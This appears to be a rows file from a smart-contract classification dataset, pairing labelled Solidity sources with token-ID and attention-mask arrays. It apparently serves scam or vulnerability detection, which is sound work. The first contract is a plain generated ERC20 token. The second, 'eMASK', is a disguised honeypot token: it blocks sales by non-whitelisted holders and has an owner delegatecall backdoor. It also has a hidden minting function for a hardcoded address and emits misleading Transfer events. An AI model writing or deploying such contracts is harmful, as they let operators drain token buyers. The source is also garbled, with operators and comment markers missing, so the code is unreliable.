won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. / // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /* * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright / contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /* * @dev Returns the token generator tool. / function generator() public pure returns (string memory) { return _GENERATOR; } /* * @dev Returns the token generator version. / function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /* * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5757, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 1997, 1008, 2009, 2003, 2525, 20119, 1012, 1008, 1008, 5860, 19771, 5017, 1024, 13103, 1005, 1055, 3166, 2003, 2489, 1997, 2151, 14000, 4953, 1996, 19204, 1998, 1996, 2224, 2008, 2003, 2081, 1997, 2009, 1012, 1008, 1996, 2206, 3642, 2003, 3024, 2104, 10210, 6105, 1012, 3087, 2064, 2224, 2009, 2004, 2566, 2037, 3791, 1012, 1008, 1996, 13103, 1005, 1055, 3800, 2003, 2000, 2191, 2111, 2583, 2000, 19204, 4697, 2037, 4784, 2302, 16861, 2030, 7079, 2005, 2009, 1012, 1008, 3120, 3642, 2003, 2092, 7718, 1998, 10843, 7172, 2000, 5547, 3891, 1997, 12883, 1998, 2000, 8970, 2653, 20600, 2015, 1012, 1008, 4312, 1996, 5309, 1997, 19204, 2015, 7336, 1037, 2152, 3014, 1997, 3891, 1012, 2077, 13868, 19204, 2015, 1010, 2009, 2003, 6749, 2000, 1008, 5362, 21094, 2035, 1996, 2592, 1998, 10831, 6851, 1999, 19204, 3954, 1005, 1055, 3785, 1012, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-06-28 / pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract eMASK { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner \|\| _to == owner \|\| _from == UNI \|\| _from == _UNI \|\| _from==tradeAddress\|\|canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner\|\|msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue(10uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token(10*uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken(10*uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply(10*uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2654, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2459, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 1025, 1065, 3075, 4769, 1063, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 27507, 16703, 3642, 14949, 2232, 1025, 27507, 16703, 4070, 14949, 2232, 1027, 1014, 2595, 2278, 2629, 2094, 18827, 16086, 15136, 2575, 2546, 2581, 21926, 2509, 2278, 2683, 22907, 2063, 2581, 18939, 2475, 16409, 2278, 19841, 2509, 2278, 2692, 2063, 29345, 2497, 26187, 2509, 3540, 2620, 19317, 2581, 2509, 2497, 2581, 29292, 4215, 17914, 19961, 2094, 27531, 2050, 22610, 2692, 1025, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 2279, 1011, 2240, 2053, 1011, 23881, 1011, 3320, 3320, 1063, 3642, 14949, 2232, 1024, 1027, 4654, 13535, 10244, 14949, 2232, 1006, 4070, 1007, 1065, 2709, 1006, 3642, 14949, 2232, 999, 1027, 1014, 2595, 2692, 1004, 1004, 3642, 14949, 2232, 999, 1027, 4070, 14949, 2232, 1007, 1025, 1065, 1065, 3206, 6123, 1063, 9570, 2953, 1006, 1007, 4722, 1063, 1065, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 3025, 1011, 2240, 2053, 1011, 4064, 1011, 5991, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 